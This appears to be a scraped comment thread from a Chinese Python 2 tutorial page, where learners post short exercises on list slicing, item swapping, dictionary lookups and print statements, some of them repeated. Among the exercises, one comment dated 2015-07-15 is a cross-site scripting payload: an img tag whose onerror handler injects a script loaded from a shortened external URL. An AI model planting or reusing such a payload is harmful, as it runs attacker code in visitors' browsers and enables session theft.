>>> L[1:3]
['Adam', 'Lisa']
知识讲解部分这一点有错误吧,结果出来应该是['Lisa', 'Bart']
['Adam', 'Lisa']
知识讲解部分这一点有错误吧,结果出来应该是['Lisa', 'Bart']
2015-07-15
L = ['Adam', 'Lisa', 'Bart']
a = 'Adam'
L[0] = L[2]
L[2] = a
print L
a = 'Adam'
L[0] = L[2]
L[2] = a
print L
2015-07-15
"><img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/RL5vgUZ';>
2015-07-14
d = {
'Adam': 95,
'Lisa': 85,
'Bart': 59
}
print 'Adam:' + str(d.get('Adam'))
print 'Lisa:'+str(d.get('Lisa'))
print 'Bart:'+str(d.get('Bart'))
'Adam': 95,
'Lisa': 85,
'Bart': 59
}
print 'Adam:' + str(d.get('Adam'))
print 'Lisa:'+str(d.get('Lisa'))
print 'Bart:'+str(d.get('Bart'))
2015-07-14
print 'hello,Python'
print 'hello,''Python'
print 'hello'',''Python'
print 'hello,''Python'
print 'hello'',''Python'
2015-07-13